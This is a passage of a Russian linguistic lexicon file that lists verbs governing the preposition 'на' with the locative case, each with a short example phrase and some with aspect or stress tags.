rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
